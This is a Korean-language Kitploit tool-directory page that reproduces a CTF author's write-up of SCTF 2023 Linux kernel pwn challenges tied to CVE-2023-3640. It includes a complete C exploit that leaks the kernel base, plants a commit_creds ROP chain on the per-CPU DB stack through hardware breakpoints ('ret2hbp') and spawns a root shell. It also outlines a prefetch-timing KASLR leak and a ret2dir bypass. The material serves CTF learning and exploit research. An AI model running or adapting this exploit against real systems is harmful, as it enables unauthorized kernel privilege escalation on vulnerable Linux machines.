Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2023-3640 — SCTF 2023 커널 pwn && CVE-2023-3640 | Kitploit
도구/GitHubGitHub/pray77/cve-2023-3640
Vulnerability AnalysisExploitationCTFLearning & EducationBinary Exploitation
GitHubpray77/cve-2023-3640

CVE-2023-3640

SCTF 2023 커널 pwn && CVE-2023-3640

저장소 보기
2913년 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

SCTF2023_kernelpwn

SCTF 2023 커널 pwn

여담: 광고 하나 하자면, 필자는 2024년 졸업 예정 학부생이며, 올해 가을 채용에 참여 중입니다. 연락 주시면 감사하겠습니다~

sycrop

이 문제는 두 가지 포인트를 테스트하고자 했습니다.

  1. cpu entry area 매핑 영역의 시작점에는 커널 텍스트 세그먼트와의 오프셋이 고정된 몇 개의 주소가 있습니다. 자세한 내용은 아래 그림을 참조하세요. 이는 단순한 트릭이며, Google의 KCTF에 처음 등장한 후 국제 대회에서 몇 번 등장했습니다.

image

3Z(ZSS7$2V)YRPGD 7%KY

  1. 유저 모드에서 하드웨어 브레이크포인트를 트리거하는 방식으로, 레지스터 내용을 per cpu entry area와 고정 오프셋을 가진 DB 스택에 푸시할 수 있습니다. Linux 6.2 이전에는 per cpu entry area에 랜덤화가 적용되지 않아 주소가 고정되어 있었기 때문에, 커널의 고정된 주소에 ROP 체인을 구성할 수 있습니다. 이것이 이 문제의 혁신적인 점이며, 필자는 임시로 ret2hbp라고 명명합니다. 이름은 단지 이 공격 기법을 설명하기 쉽게 하기 위함이며, 필자는 독창성을 주장하지 않습니다. 사실 커널 익스플로잇의 발전 과정 자체의 매력이 충분히 사람을 끌어당기며, 해변 모래사장에서 조개껍질 하나를 주운 것만으로도 충분히 기쁩니다 :)

구체적인 주소와 오프셋은 exp를 참조하시기 바랍니다. 각자 디버깅해보시길 권장합니다.

root@kitploit:~
#define _GNU_SOURCE
#include <sched.h>
#include <sys/mman.h>
#include <pthread.h>
#include <semaphore.h>
#include <sys/ptrace.h>
#include <signal.h>
#include <sys/wait.h>
#include <stddef.h>
#include <asm/user_64.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/utsname.h>
#include <stdbool.h>
#include <string.h>
#include <sys/resource.h>
#include <sys/prctl.h>
#include <fcntl.h>

void* map;
#define PAGE_SIZE 0x1000
pid_t hbp_pid;
unsigned long kernel_base;
unsigned long init_cred;
unsigned long commit_cred;
unsigned long pop_rdi;
unsigned long swapgs_restore_regs_and_return_to_usermode;

size_t user_cs, user_ss, user_rflags, user_sp;

void saveStatus()
{
    __asm__("mov user_cs, cs;"
            "mov user_ss, ss;"
            "mov user_sp, rsp;"
            "pushf;"
            "pop user_rflags;"
            );
    printf("\033[34m\033[1m[*] Status has been saved.\033[0m\n");
}

void teardown()
{
    kill(hbp_pid,9);
}

void create_hbp(void* addr)
{

    if(ptrace(PTRACE_POKEUSER,hbp_pid, offsetof(struct user, u_debugreg), addr) == -1) {
        printf("Could not create hbp! ptrace dr0: %m\n");
        teardown();
        exit(1);
    }

    if(ptrace(PTRACE_POKEUSER,hbp_pid, offsetof(struct user, u_debugreg) + 56, 0xf0101) == -1) {
        printf("Could not create hbp! ptrace dr7: %m\n");
        teardown();
        exit(1);
    }
}

void hbp_raw_fire()
{
    if(ptrace(PTRACE_CONT,hbp_pid,NULL,NULL) == -1)
        {
            printf("Failed to PTRACE_CONT: %m\n");
            teardown();
            exit(1);
        }
}
void getRootShell(void)
{   
    if(getuid()) {
        printf("\033[31m\033[1m[x] Failed to get the root!\033[0m\n");
        exit(-1);
    }

    puts("\033[32m\033[1m[+] Successful to get the root. "
         "Execve root shell now...\033[0m");
    system("/bin/sh");
}
size_t getshelladdr = &getRootShell;
void init(unsigned cpu)
{
    cpu_set_t mask;
    map = mmap((void*) 0x0a000000,0x1000000,PROT_READ | PROT_WRITE,MAP_SHARED | MAP_ANONYMOUS | MAP_FIXED,0,0);
    switch(hbp_pid = fork())
    {
        case 0: //child
            //pin cpu

            CPU_ZERO(&mask);
            CPU_SET(cpu,&mask);
            sched_setaffinity(0,sizeof(mask),&mask);
            ptrace(PTRACE_TRACEME,0,NULL,NULL);
            raise(SIGSTOP);
            __asm__(
                "mov r15,   0xbeefdead;"
                "mov r14,   pop_rdi;"
                "mov r13,   init_cred;" // start at there
                "mov r12,   commit_cred;"
                "mov rbp,   swapgs_restore_regs_and_return_to_usermode;"
                "mov rbx,   0x77777777;"
                "mov r11,   0x77777777;"
                "mov r10,   getshelladdr;"
                "mov r9,    user_cs;"
                "mov r8,    user_rflags;"
                "mov rax,   user_sp;"
                "mov rcx,   user_ss;"
                "mov rdx,   0xcccccccc;"
                "mov rsi,   0xa000000;"
                "mov rdi,   [rsi];"
            );
            exit(1);
        case -1:
            printf("fork: %m\n");
            exit(1);
        default: //parent. Just exit switch
            break;
    }
    int status;
    //Watch for stop:
    puts("Waiting for child");
    while(waitpid(hbp_pid,&status,__WALL) != hbp_pid || !WIFSTOPPED(status))
    {
        sched_yield();
    }
    puts("Setting breakpoint");
    create_hbp(map);
}

int main()
{
    saveStatus();
    int fd = open("/dev/seven", O_RDWR);
    if(fd < 0) perror("Error open");
    unsigned long addr =  ioctl(fd,0x5555,0xfffffe0000000000+4);
    printf("0x%llx\n",addr-0x1008e00);
    kernel_base = addr-0x1008e00;
    init_cred = kernel_base + 0xffffffffbd64cbf8 - 0xffffffffbbc00000;
    commit_cred = kernel_base + 0xffffffffbbcbb5b0 - 0xffffffffbbc00000;
    pop_rdi = kernel_base + 0xffffffff81002c9d - 0xffffffff81000000;
    swapgs_restore_regs_and_return_to_usermode = kernel_base + 0xffffffff82000f01 - 0xffffffff81000000;
    init(1);
    hbp_raw_fire();
    waitpid(hbp_pid,NULL,__WALL);
    hbp_raw_fire();
    waitpid(hbp_pid,NULL,__WALL);
    ioctl(fd,0x6666,0xfffffe0000010f60);
}

sycrpg

사실 이 문제는 단순한 1day 익스플로잇 문제입니다. 기본 아이디어는 Google pj0의 이 글에서 나온 것입니다. 필자는 이를 CTF 문제로 만드는 작업을 했을 뿐이며, 개인적으로 강력하고 재미있다고 생각하는 이 익스플로잇 방법을 배우고, 한 주소에 한 바이트만 써도 getshell이 가능한 매력을 경험해보시길 바랍니다. https://googleprojectzero.blogspot.com/2022/12/exploiting-CVE-2022-42703-bringing-back-the-stack-attack.html?m=1

moonpray

이 문제는 커널 정보 누출 0day와 관련된 문제입니다. 하지만 의도치 않은 해결 방법이 존재했습니다 (해결한 두 팀 모두 의도치 않은 방법을 사용했습니다).

문제는 leak이 제거된 sycrop 강화판입니다. 버전이 6.2이기 때문에 per cpu entry area에 랜덤화가 추가되었습니다.

  1. 먼저 leak을 수행해야 합니다. 여기서 관련된 점은 CPU 취약점입니다. 시작 스크립트의 -enable-kvm과 -cpu host를 보면 물리 머신의 CPU를 사용합니다. 실제로 대부분의 경우 Intel CPU는 이 취약점의 영향을 받습니다. 자세한 내용은 1day Entrybleed 글(https://www.willsroot.io/2022/12/entrybleed.html#comment-form)을 참조하세요. 위의 스크립트를 사용하면 kaslr을 알아낼 수 있습니다.
  2. 그 다음 ROP 부분은 sycrop의 아이디어에 따라 스택을 DB 스택으로 이동시켜야 합니다. 하지만 이제 per cpu entry area에 랜덤화가 추가되었으므로 DB 스택도 랜덤화됩니다 (per cpu entry area + 0xf000 오프셋에 위치). 사실 KPTI가 활성화된 경우 시스템 호출 진입점뿐만 아니라(EntryBleed의 entry_SYSCALL_64) per cpu entry area도 사용자 공간에 매핑되므로, 프리페치 명령어를 사용하여 시간 차이를 계산하는 방식으로 오프셋을 알아낼 수 있습니다. 구체적인 스크립트는 제조사가 공개를 허락할 때까지 게시할 수 없습니다 (하지만 위의 설명으로 충분히 이해하셨을 것이며, 직접 구현하실 수 있을 거라 믿습니다).
  3. 의도치 않은 해결 방법에 대해: ROP 부분에 ret2dir을 사용할 수 있습니다. 이는 필자의 실수입니다. 문제를 출제할 때 ret2dir이 가능할지 고려했지만, 시간 관계상 문제의 주요 부분을 완성하고 나서 이 부분을 신경 쓰지 않았습니다. 다행히 문제가 해결될 수 있는 방법이 있었습니다.
도구 다운로드